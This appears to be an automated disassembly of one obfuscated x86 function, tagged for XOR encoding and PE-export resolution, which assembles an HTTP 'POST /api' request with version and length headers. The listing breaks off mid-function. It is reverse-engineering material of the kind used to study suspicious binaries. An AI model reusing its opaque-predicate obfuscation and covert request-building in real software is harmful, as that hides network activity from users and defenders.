Function at 0x5ba320
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x130
mov esi, ecx
mov ebp, dword [esp + 0x148]
mov eax, dword [esp + 0x144]
mov ebx, 0x7add04f5
cmp eax, 7
je 0x5ba3b0
cmp eax, 8
je 0x5ba433
cmp eax, 9
jne 0x5ba4ae
mov dword [esp + 0x74], edx
mov edi, dword [esp + 0x154]
mov ebp, dword [esp + 0x14c]
mov dword [esp], edi
call fcn.007c76a0
mov ebx, eax
lea eax, [ebx + 0x100]
mov dword [esp + 4], eax
lea esi, [esp + 0x78]
mov dword [esp], esi
call fcn.004917a0
mov dword [esp], esi
mov dword [esp + 4], str.POST__api_HTTP_1.1_r_n
call fcn.00491d70
test ebp, ebp
je 0x5ba789
mov dword [esp], esi
mov dword [esp + 4], str.Connection:_Keep_Alive_r_n
jmp 0x5ba794
mov dword [esp + 0x74], edx
mov edi, 0x7add04f5
lea ebx, [edi - 0x7add04ed]
call fcn.0049af60
mov dword [esp + 0x3c], esi
mov dword [esi + 4], edx
mov dword [esi], eax
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], ebp
mov dword [esi + 8], 0
mov eax, dword [0x80dce4]
mov dword [esp], eax
call fcn.007c74c0
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 3
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bccb6
add edi, 0xb4c21443
xor ebx, edi
add bl, 6
mov eax, 0xf
movzx ecx, bl
cmp ecx, 0x36
je 0x5bcc83
cmp ecx, 0x38
jne 0x5bb475
mov ecx, 0x1c
jmp 0x5bcb98
mov eax, dword [0x80dcd0]
mov dword [esp], eax
call fcn.007c74c0
test eax, eax
jne 0x5bcb57
add bl, 0x59
xor eax, eax
mov ecx, 3
movzx edx, bl
cmp edx, 0x4e
je 0x5baac2
cmp edx, 0x63
je 0x5bab3c
cmp edx, 0x7a
jne 0x5babb8
mov byte [esp + 0x73], 6
mov bl, 7
mov bh, 0x5d
mov byte [esp + 0x65], 0x51
mov byte [esp + 0x72], 0x12
mov byte [esp + 0x6c], 0x2a
mov byte [esp + 0x66], 0x38
mov byte [esp + 0x67], 0x78
mov byte [esp + 0x74], 0x28
mov dword [esp + 0x3c], esi
lea eax, [esi + 0xc]
mov dword [esp + 0x38], eax
lea eax, [esi + 8]
mov dword [esp + 0x24], eax
jmp 0x5bac30
mov dword [0x80dcdc], 0
mov dword [0x80dce0], 0
call fcn.00454150
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5ba594
xor bl, 0xf3
movzx eax, bl
cmp eax, 6
jne 0x5ba8b9
mov bl, 0x27
mov byte [0x80dca4], 0
mov byte [0x80dca6], 0
mov byte [0x80dca5], 0
mov byte [0x80dca7], 0
call fcn.0061b500
cmp eax, 2
je 0x5bb5ba
mov edi, 0xf
xor eax, eax
test al, al
mov byte [esp + 0x20], al
mov byte [esp + 0x68], al
mov byte [esp + 0x60], al
mov byte [esp + 0x73], al
mov byte [esp + 0x67], al
mov byte [esp + 0x65], al
mov byte [esp + 0x33], al
mov byte [esp + 0x66], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x72], al
mov byte [esp + 0x2c], al
mov dword [esp + 0x58], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x6c], eax
je 0x5bc2d4
jmp 0x5bb61c
mov byte [0x80dca4], 1
mov byte [0x80dca6], 0
mov byte [0x80dca5], 0
mov byte [0x80dca7], 1
call fcn.0061b510
mov edi, eax
imul eax, eax
and eax, 3
cmp eax, 3
sete al
movzx ebp, al
call fcn.004879c0
mov ebx, eax
mov dword [esp], 0xac
call fcn.004939e0
mov esi, eax
mov dword [esp + 8], ebx
mov dword [esp], esi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
cmp edi, ebp
mov dword [esi + 0x94], 0
jne 0x5ba930
mov al, 0x7d
mov edi, 1
movzx eax, al
cmp eax, 0x7d
je 0x5ba975
xor ebp, ebp
mov eax, esi
add eax, 0x84
mov dword [esp + 0x20], eax
jmp 0x5ba70d
mov eax, ebp
or eax, 2
mov ecx, ebp
xor ecx, 2
add ecx, eax
setne al
movzx eax, al
add ebp, eax
mov dword [esi + 0x98], 1
mov dword [esi + 0xa0], 0
mov dword [esi + 0x9c], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0xa4], 0
mov dword [esp + 8], esi
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
call fcn.004879c0
mov edi, eax
mov dword [esp], 0xac
call fcn.004939e0
mov ebx, eax
mov dword [esp + 8], edi
mov dword [esp], ebx
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
mov dword [ebx + 0x94], 1
mov dword [ebx + 0x98], 1
mov dword [ebx + 0xa0], 0
mov dword [ebx + 0x9c], 0
mov dword [ebx + 0xa8], 0
mov dword [ebx + 0xa4], 0
mov dword [esp + 8], ebx
lea eax, [ebx + 0x84]
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov eax, ebp
not eax
and eax, 1
add eax, ebp
setne al
movzx eax, al
cmp ebp, eax
mov dword [esp + 0x58], eax
mov byte [esp + 0x68], al
mov byte [esp + 0x66], al
mov byte [esp + 0x60], al
mov byte [esp + 0x73], al
mov byte [esp + 0x67], al
mov byte [esp + 0x65], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x33], al
mov byte [esp + 0x72], al
mov dword [esp + 0x50], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x5c], eax
jb 0x5ba630
jmp 0x5bb707
mov dword [esp], esi
mov dword [esp + 4], str.Connection:_Close_r_n
call fcn.00491d70
mov dword [esp], esi
mov dword [esp + 4], str.Content_Type:_text_plain_r_n
call fcn.00491d70
mov dword [esp], esi
mov dword [esp + 0x18], 0x174e3
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x18
mov dword [esp + 8], 0x5dc0
mov dword [esp + 4], str.Version:__u___u._u._u._u__r_n
call fcn.00492090
add ebx, 8
mov dword [esp + 8], ebx
mov dword [esp], esi
mov dword [esp + 4], str.Content_Length:__u_r_n
call fcn.00492090
mov dword [esp], esi
mov dword [esp + 4], 0x7d8ae9
call fcn.00491d70
mov dword [esp], esi
mov dword [esp + 4], 0x7de6b6
call fcn.00491d70
mov dword [esp + 8], edi
mov eax, dword [esp + 0x150]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00492160
mov dword [esp], esi
mov dword [esp + 4], str.__r_n
call fcn.00491d70
mov dword [esp], esi
call fcn.00491790
mov ebx, eax
mov dword [esp], esi
call fcn.007ca940
mov ecx, dword [esp + 0x158]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x148]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x74]
mov dword [esp], eax
call fcn.0044fc00
test eax, eax
js 0x5ba891
mov dword [esp], eax
call fcn.00447cd0
mov dword [esp], esi
call fcn.00491890
jmp 0x5ba8b2
mov ebx, 0xffffffff
mov edi, 0xffffffff
jmp 0x5ba8ad
call fcn.00447d00
mov dword [esp], esi
call fcn.00491890
add ebx, 1
jb 0x5ba8a0
mov eax, edi
jmp 0x5bce54
mov eax, 0xe
mov byte [esp + 0x20], cl
mov byte [esp + 0x68], cl
mov byte [esp + 0x73], cl
mov byte [esp + 0x67], cl
mov byte [esp + 0x65], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x66], cl
mov byte [esp + 0x4c], cl
mov byte [esp + 0x72], cl
mov byte [esp + 0x2c], cl
mov dword [esp + 0x58], ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x54], ecx
mov dword [esp + 0x38], ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x40], ecx
cmp eax, 0xe
mov ebp, edi
je 0x5bb343
xor eax, eax
test al, al
jne 0x5bb343
mov dword [esp + 0x74], esi
jmp 0x5bc429
mov al, 0x4a
movzx eax, al
cmp eax, 0x4a
jne 0x5bb49e
mov edi, 2
movaps xmm0, xmmword [0x7de120]
movups xmmword [esi + 0x98], xmm0
mov dword [esi + 0xa8], 0
lea eax, [esi + 0x84]
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov eax, edi
not eax
and eax, 1
add eax, edi
setne al
movzx eax, al
cmp edi, eax
jne 0x5bb555
mov ebx, 3
mov dword [esi + 0x98], 1
mov eax, esi
add eax, 0x84
mov dword [esi + 0xa0], 0
mov dword [esi + 0x9c], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0xa4], 0
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
call fcn.004879c0
mov esi, eax
mov dword [esp], 0xac
call fcn.004939e0
mov edi, eax
mov dword [esp + 8], esi
mov dword [esp], edi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
mov dword [edi + 0x94], 1
mov dword [edi + 0x98], 1
mov dword [edi + 0xa0], 0
mov dword [edi + 0x9c], 0
mov dword [edi + 0xa8], 0
mov dword [edi + 0xa4], 0
mov dword [esp + 8], edi
lea eax, [edi + 0x84]
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov dword [esp + 0x58], eax
mov byte [esp + 0x68], al
mov byte [esp + 0x66], al
mov byte [esp + 0x60], al
mov byte [esp + 0x73], al
mov byte [esp + 0x67], al
mov byte [esp + 0x65], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x33], al
mov byte [esp + 0x72], al
mov dword [esp + 0x50], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x5c], eax
jmp 0x5bca7d
mov dword [esp + 0x3c], esi
lea edx, [esi + 0xc]
mov dword [esp + 0x38], edx
lea edx, [esi + 8]
mov dword [esp + 0x24], edx
mov byte [esp + 0x74], dl
mov byte [esp + 0x67], dl
mov byte [esp + 0x66], dl
mov byte [esp + 0x6c], dl
mov byte [esp + 0x72], dl
mov byte [esp + 0x65], dl
mov byte [esp + 0x73], dl
jmp 0x5bab29
mov byte [esp + 0x73], 6
mov bl, 7
mov bh, 0x5d
mov byte [esp + 0x65], 0x51
mov byte [esp + 0x72], 0x12
mov byte [esp + 0x6c], 0x2a
mov byte [esp + 0x66], 0x38
mov byte [esp + 0x67], 0x78
mov byte [esp + 0x74], 0x28
inc eax
dec ecx
test eax, eax
jne 0x5bac30
mov edx, eax
xor edx, ecx
jne 0x5bab00
jmp 0x5bac30
mov dword [esp + 0x3c], esi
lea ecx, [esi + 0xc]
mov dword [esp + 0x38], ecx
lea ecx, [esi + 8]
mov dword [esp + 0x24], ecx
mov byte [esp + 0x74], cl
mov byte [esp + 0x67], cl
mov byte [esp + 0x66], cl
mov byte [esp + 0x6c], cl
mov byte [esp + 0x72], cl
mov byte [esp + 0x65], cl
mov byte [esp + 0x73], cl
jmp 0x5baba1
mov byte [esp + 0x73], 6
mov bl, 7
mov bh, 0x5d
mov byte [esp + 0x65], 0x51
mov byte [esp + 0x72], 0x12
mov byte [esp + 0x6c], 0x2a
mov byte [esp + 0x66], 0x38
xor ecx, eax
setne cl
movzx ecx, cl
add eax, ecx
mov byte [esp + 0x67], 0x78
mov byte [esp + 0x74], 0x28
mov ecx, 3
sub ecx, eax
mov edx, eax
xor edx, ecx
setne dl
movzx edx, dl
cmp eax, edx
jb 0x5bab70
jmp 0x5bac30
mov dword [esp + 0x3c], esi
lea edx, [esi + 0xc]
mov dword [esp + 0x38], edx
lea edx, [esi + 8]
mov dword [esp + 0x24], edx
mov byte [esp + 0x74], dl
mov byte [esp + 0x67], dl
mov byte [esp + 0x66], dl
mov byte [esp + 0x6c], dl
mov byte [esp + 0x72], dl
mov byte [esp + 0x65], dl
mov byte [esp + 0x73], dl
jmp 0x5bac19
mov byte [esp + 0x73], 6
mov bl, 7
mov bh, 0x5d
mov byte [esp + 0x65], 0x51
mov byte [esp + 0x72], 0x12
mov byte [esp + 0x6c], 0x2a
mov byte [esp + 0x66], 0x38
mov byte [esp + 0x67], 0x78
mov byte [esp + 0x74], 0x28
inc eax
dec ecx
mov edx, eax
xor edx, ecx
setne dl
movzx edx, dl
cmp eax, edx
jb 0x5babf0
nop word [eax + eax]
mov byte [esp + 0x44], bh
mov byte [esp + 0x48], bl
call fcn.00456d90
mov ebp, eax
mov dword [esp + 0x68], ebp
call fcn.00456de0
mov ebx, eax
call fcn.00456e30
mov edi, eax
call fcn.00456e80
mov esi, eax
call fcn.00456ed0
mov dword [esp + 0x60], eax
cmp ebp, ebx
cmova ebx, ebp
mov dword [esp + 0x5c], ebx
cmp ebx, edi
cmova edi, ebx
mov dword [esp + 0x40], edi
cmp edi, esi
cmova esi, edi
mov eax, dword [0x80dcc8]
or eax, dword [0x80dccc]
jne 0x5bac95
call fcn.0049af60
mov dword [0x80dccc], edx
mov dword [0x80dcc8], eax
call fcn.0049af60
mov ebx, eax
mov edi, edx
mov eax, dword [esp + 0x3c]
sub ebx, dword [eax]
sbb edi, dword [eax + 4]
call fcn.0044c100
test eax, eax
jne 0x5bb38e
mov ecx, 3
sub ecx, eax
xor ecx, eax
je 0x5bb38e
movzx eax, byte [esp + 0x74]
cmp eax, 0x18
je 0x5bad00
cmp eax, 0x28
mov ebp, dword [esp + 0x60]
je 0x5bad20
cmp eax, 0x68
jne 0x5bad40
cmp ebx, ebp
mov eax, edi
sbb eax, 0
jae 0x5bb3eb
mov eax, ebp
not eax
and eax, 1
add eax, ebp
je 0x5bb3eb
mov cl, 0x68
xor edx, edx
jmp 0x5bad60
mov cl, 0x28
xor edx, edx
mov ebp, dword [esp + 0x60]
cmp ebx, ebp
mov eax, edi
sbb eax, 0
jb 0x5bad60
xor eax, eax
test al, al
jne 0x5bad60
jmp 0x5bb3eb
cmp ebx, ebp
mov eax, edi
sbb eax, 0
jae 0x5bb3eb
mov cl, 0x18
xor edx, edx
jmp 0x5bad60
mov cl, 0x29
xor edx, edx
cmp ebx, ebp
mov eax, edi
sbb eax, 0
jb 0x5bad60
mov eax, ebp
and eax, 1
inc eax
xor eax, ebp
jne 0x5bb3eb
nop dword [eax + eax]
mov byte [esp + 0x74], cl
sub ebp, ebx
sbb edx, edi
mov dword [esp + 0x58], edx
call fcn.0049af60
sub eax, dword [0x80dcc8]
mov dword [esp + 0x50], eax
sbb edx, dword [0x80dccc]
mov dword [esp + 0x54], edx
mov eax, dword [0x80dcc0]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x38]
mov eax, dword [eax]
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
sete cl
movzx ecx, cl
cmp eax, ecx
mov ecx, dword [0x80dcbc]
mov ah, byte [0x80dcc4]
mov al, byte [0x80dcc5]
mov byte [esp + 0x60], al
mov dl, byte [0x80dcc6]
jne 0x5bade0
mov byte [esp + 0x33], dl
mov dword [esp + 0x2c], ecx
mov bl, byte [esp + 0x48]
mov bh, byte [esp + 0x44]
mov edi, dword [esp + 0x40]
jmp 0x5bb094
mov byte [esp + 0x28], ah
movzx eax, byte [esp + 0x67]
cmp eax, 0xd
je 0x5bae1a
mov byte [esp + 0x33], dl
mov dword [esp + 0x2c], ecx
cmp eax, 0x78
jne 0x5bae53
mov byte [esp + 0x67], 0x6c
call fcn.00457420
test eax, eax
mov bl, byte [esp + 0x48]
mov bh, byte [esp + 0x44]
mov edi, dword [esp + 0x40]
je 0x5bae80
jmp 0x5bb090
mov byte [esp + 0x33], dl
mov dword [esp + 0x2c], ecx
mov byte [esp + 0x67], 0x78
call fcn.00457420
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5baec9
mov bl, byte [esp + 0x48]
mov bh, byte [esp + 0x44]
mov edi, dword [esp + 0x40]
jmp 0x5bae80
mov byte [esp + 0x67], 0xd
call fcn.00457420
test eax, eax
mov bl, byte [esp + 0x48]
mov bh, byte [esp + 0x44]
mov edi, dword [esp + 0x40]
je 0x5bae80
xor eax, eax
test al, al
je 0x5bb090
nop word [eax + eax]
movzx eax, byte [esp + 0x66]
cmp eax, 0x17
mov ecx, dword [esp + 0x68]
je 0x5baeda
cmp eax, 0x38
je 0x5baf0b
cmp eax, 0x47
jne 0x5baf3a
mov byte [esp + 0x66], 0x38
mov dword [esp + 0x34], 0
cmp dword [esp + 0x50], ecx
mov eax, dword [esp + 0x54]
sbb eax, 0
jb 0x5baf6c
xor eax, eax
test al, al
je 0x5bb2f9
jmp 0x5baf6c
mov bl, byte [esp + 0x48]
mov bh, byte [esp + 0x44]
mov edi, dword [esp + 0x40]
jmp 0x5bb090
mov byte [esp + 0x66], 0x17
cmp dword [esp + 0x50], ecx
mov eax, dword [esp + 0x54]
sbb eax, 0
jae 0x5bb2f9
mov eax, ecx
imul eax, eax
and eax, 3
cmp eax, 2
jae 0x5bb2f9
mov dword [esp + 0x34], 0
jmp 0x5baf6c
mov byte [esp + 0x66], 0x47
cmp dword [esp + 0x50], ecx
mov eax, dword [esp + 0x54]
sbb eax, 0
jae 0x5bb2f9
mov eax, ecx
not eax
and eax, 1
add eax, ecx
je 0x5bb2f9
mov dword [esp + 0x34], 0
jmp 0x5baf6c
mov byte [esp + 0x66], 0x19
cmp dword [esp + 0x50], ecx
mov eax, dword [esp + 0x54]
sbb eax, 0
jae 0x5bb2f9
mov eax, ecx
or eax, 2
mov edx, ecx
xor ecx, 2
add ecx, eax
je 0x5bb2f7
mov dword [esp + 0x34], 0
mov ecx, edx
movzx eax, byte [esp + 0x6c]
cmp eax, 0x2a
je 0x5bb058
mov dword [esp + 0x20], esi
mov dword [esp + 0x68], ecx
mov byte [esp + 0x44], bh
mov byte [esp + 0x48], bl
xor edi, edi
cmp eax, 0x72
jne 0x5bb02a
mov eax, dword [esp + 0x68]
sub eax, dword [esp + 0x50]
mov edi, dword [esp + 0x34]
sbb edi, dword [esp + 0x54]
cmp eax, ebp
mov ecx, edi
mov esi, dword [esp + 0x58]
sbb ecx, esi
setb cl
mov edx, eax
and edx, 1
inc edx
xor edx, eax
sete dl
or dl, cl
and dl, 1
cmovne ebp, eax
test dl, dl
cmovne esi, edi
mov dword [esp + 0x58], esi
mov byte [esp + 0x6c], 0x1f
jmp 0x5bb046
mov eax, 3
sub eax, edi
xor eax, edi
setne al
movzx eax, al
add edi, eax
mov edx, dword [esp + 0x68]
sub edx, dword [esp + 0x50]
mov eax, dword [esp + 0x34]
sbb eax, dword [esp + 0x54]
cmp edx, ebp
mov ecx, eax
mov esi, dword [esp + 0x58]
sbb ecx, esi
setb cl
mov ebx, edx
and ebx, 1
xor ebx, edx
cmp ebx, 0xffffffff
setne ch
and ch, cl
cmove eax, esi
test ch, ch
mov byte [esp + 0x6c], 0x2a
cmove edx, ebp
mov ecx, edi
or ecx, 2
mov ebx, edi
xor ebx, 2
add ebx, ecx
setne cl
movzx ecx, cl
cmp edi, ecx
jb 0x5bafe0
mov ebp, edx
mov dword [esp + 0x58], eax
mov bl, byte [esp + 0x48]
mov bh, byte [esp + 0x44]
mov edi, dword [esp + 0x40]
mov esi, dword [esp + 0x20]
jmp 0x5bb090
mov eax, ecx
mov dword [esp + 0x68], ecx
sub eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x34]
sbb ecx, dword [esp + 0x54]
mov dword [esp + 0x34], ecx
cmp eax, ebp
mov edx, dword [esp + 0x58]
sbb ecx, edx
setb cl
and cl, 1
cmovne ebp, eax
test cl, cl
cmovne edx, dword [esp + 0x34]
mov dword [esp + 0x58], edx
mov byte [esp + 0x6c], 0x72
nop
mov ah, byte [esp + 0x28]
cmp dword [esp + 0x4c], 0
setne al
movzx ecx, al
imul ecx, ecx
cmp ecx, 2
setb cl
xor cl, al
and ah, cl
movzx eax, ah
cmp eax, 1
je 0x5bb3d0
movzx eax, byte [esp + 0x72]
cmp eax, 0xc
je 0x5bb0e0
cmp eax, 0x7e
mov edx, dword [esp + 0x58]
jne 0x5bb100
cmp dword [esp + 0x4c], 0
mov byte [esp + 0x72], 0x12
je 0x5bb110
jmp 0x5bb265
cmp dword [esp + 0x4c], 0
mov byte [esp + 0x72], 0xc
mov edx, dword [esp + 0x58]
je 0x5bb110
jmp 0x5bb265
cmp dword [esp + 0x4c], 0
mov byte [esp + 0x72], 0x7e
jne 0x5bb265
mov eax, dword [esp + 0x38]
mov eax, dword [eax]
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 3
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bb150
movzx eax, byte [esp + 0x65]
cmp eax, 2
je 0x5bb169
cmp eax, 0x51
jne 0x5bb17a
test byte [esp + 0x33], 1
je 0x5bb18b
mov byte [esp + 0x65], 0x51
jmp 0x5bb220
test byte [esp + 0x60], 1
mov eax, dword [esp + 0x5c]
cmovne eax, edi
test byte [esp + 0x33], 1
cmove esi, eax
jmp 0x5bb220
test byte [esp + 0x33], 1
je 0x5bb192
mov byte [esp + 0x65], 0x23
jmp 0x5bb220
test byte [esp + 0x33], 1
je 0x5bb199
mov byte [esp + 0x65], 2
jmp 0x5bb220
mov byte [esp + 0x65], 0x51
jmp 0x5bb19e
mov byte [esp + 0x65], 0x23
jmp 0x5bb19e
mov byte [esp + 0x65], 2
movzx eax, bh
cmp eax, 0x4f
je 0x5bb1af
cmp eax, 0x5d
jne 0x5bb1b3
mov bh, 0x5d
jmp 0x5bb1b5
mov bh, 0x51
jmp 0x5bb1b5
mov bh, 0x4f
test byte [esp + 0x60], 1
je 0x5bb1d3
movzx eax, bl
cmp eax, 7
jne 0x5bb1c8
mov bl, 0x13
jmp 0x5bb1ca
mov bl, 7
call fcn.00457420
test eax, eax
jne 0x5bb219
xor eax, eax
mov esi, edi
jmp 0x5bb1fd
inc eax
mov cl, byte [0x80dca5]
and cl, 1
test byte [esp + 0x60], 1
mov esi, dword [esp + 0x5c]
cmovne esi, edi
test cl, cl
cmovne esi, dword [esp + 0x68]
mov ecx, eax
or ecx, 2
mov edx, eax
xor edx, 2
add edx, ecx
setne cl
movzx ecx, cl
cmp eax, ecx
jb 0x5bb1e0
mov edx, dword [esp + 0x58]
jmp 0x5bb220
mov esi, edi
mov edx, dword [esp + 0x58]
nop
cmp dword [esp + 0x50], esi
mov eax, dword [esp + 0x54]
sbb eax, 0
jb 0x5bb23e
mov eax, esi
imul eax, eax
and eax, 3
cmp eax, 3
jne 0x5bb3eb
sub esi, dword [esp + 0x50]
mov eax, 0
sbb eax, dword [esp + 0x54]
cmp esi, ebp
sbb eax, edx
setb al
mov ecx, esi
imul ecx, ecx
and ecx, 3
cmp ecx, 2
setb cl
and cl, al
cmovne ebp, esi
call fcn.0049b0e0
add eax, ebp
jne 0x5bb27f
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
jb 0x5bb3f6
movzx ecx, byte [esp + 0x73]
cmp ecx, 0x17
je 0x5bb2a0
cmp ecx, 0x32
je 0x5bb2b0
cmp ecx, 0x6e
jne 0x5bb2c0
mov byte [esp + 0x73], 0x32
jmp 0x5bb2c5
mov byte [esp + 0x73], 6
jmp 0x5bb2c5
mov byte [esp + 0x73], 0x6e
jmp 0x5bb2c5
mov byte [esp + 0x73], 0x17
mov ecx, dword [0x80dcd0]
mov edx, dword [0x80dce8]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call fcn.007cb910
test eax, eax
je 0x5bac30
cmp eax, 0x3c
je 0x5bac30
jmp 0x5bb445
mov ecx, edx
cmp dword [esp + 0x4c], 0
jne 0x5bb265
mov dword [esp + 0x68], ecx
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x2c]
cmp ecx, dword [eax]
mov al, byte [esp + 0x28]
ja 0x5bb326
mov cl, al
xor eax, eax
test al, al
mov ah, cl
je 0x5bb094
mov al, 0x2d
movzx eax, al
cmp eax, 0x2b
jne 0x5bb6cc
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x2c]
mov dword [eax], ecx
jmp 0x5bb3f6
mov byte [esp + 0x60], bh
mov bl, 0x27
mov byte [0x80dca4], 0
mov byte [0x80dca6], 0
mov byte [0x80dca5], 0
mov byte [0x80dca7], 0
call fcn.0061b500
cmp eax, 2
je 0x5bb618
xor eax, eax
test al, al
mov dword [esp + 0x48], ebp
mov dword [esp + 0x50], ebp
mov dword [esp + 0x74], esi
je 0x5bc8d3
jmp 0x5bb61c
mov al, 0x3c
movzx eax, al
cmp eax, 0xa
je 0x5bb3eb
cmp eax, 0x33
je 0x5bb3eb
xor eax, eax
mov ecx, 0xffffffff
jmp 0x5bb3bd
inc eax
mov edx, dword [esp + 0x3c]
mov dword [edx + 0x10], 1
dec ecx
mov edx, eax
and edx, 1
xor edx, ecx
setne dl
movzx edx, dl
cmp eax, edx
jb 0x5bb3b0
jmp 0x5bb3f6
xor eax, eax
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x2c]
cmp edx, dword [ecx]
ja 0x5bb434
mov ecx, edx
imul ecx, ecx
and ecx, 3
cmp ecx, 2
je 0x5bb434
mov eax, dword [esp + 0x3c]
mov dword [eax + 0x10], 1
mov eax, dword [0x80dcd0]
mov dword [esp], eax
call fcn.007c74e0
mov ecx, eax
xor eax, eax
test ecx, ecx
je 0x5bce54
jmp 0x5bce19
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
adc eax, 0
mov ecx, dword [esp + 0x24]
mov dword [ecx], edx
test eax, eax
jne 0x5bb3f6
mov ecx, eax
not ecx
and ecx, 1
add ecx, eax
jne 0x5bb420
jmp 0x5bb3f6
mov eax, dword [0x80dcd0]
mov dword [esp], eax
call fcn.007c74e0
mov ecx, eax
imul eax, eax
and eax, 3
cmp eax, 3
sete al
movzx edx, al
mov eax, 0xffffffff
cmp ecx, edx
je 0x5bce54
jmp 0x5bce19
mov esi, 5
mov eax, dword [0x80dcd0]
mov dword [esp], eax
call fcn.007c74c0
test eax, eax
je 0x5bce5f
xor eax, eax
test al, al
jne 0x5bce5f
jmp 0x5bcb57
xor edi, edi
mov ebx, 3
mov ebp, esi
add ebp, 0x84
jmp 0x5bb4de
inc edi
movaps xmm0, xmmword [0x7de120]
movups xmmword [esi + 0x98], xmm0
mov dword [esi + 0xa8], 0
mov dword [esp + 8], esi
mov dword [esp + 4], ebp
mov dword [esp], 0x80dcdc
call fcn.007c5230
dec ebx
mov eax, edi
xor eax, ebx
setne al
movzx eax, al
cmp edi, eax
mov dword [esp + 0x58], eax
mov byte [esp + 0x68], al
mov byte [esp + 0x66], al
mov byte [esp + 0x60], al
mov byte [esp + 0x73], al
mov byte [esp + 0x67], al
mov byte [esp + 0x65], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x33], al
mov byte [esp + 0x72], al
mov dword [esp + 0x50], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x5c], eax
jb 0x5bb4b0
jmp 0x5bb707
mov dword [esp + 0x58], eax
mov byte [esp + 0x68], al
mov byte [esp + 0x66], al
mov byte [esp + 0x60], al
mov byte [esp + 0x73], al
mov byte [esp + 0x67], al
mov byte [esp + 0x65], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x33], al
mov byte [esp + 0x72], al
mov dword [esp + 0x50], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x5c], eax
jmp 0x5bb707
mov dword [esp + 0x58], eax
mov byte [esp + 0x20], al
mov byte [esp + 0x68], al
mov byte [esp + 0x60], al
mov byte [esp + 0x73], al
mov byte [esp + 0x67], al
mov byte [esp + 0x65], al
mov byte [esp + 0x33], al
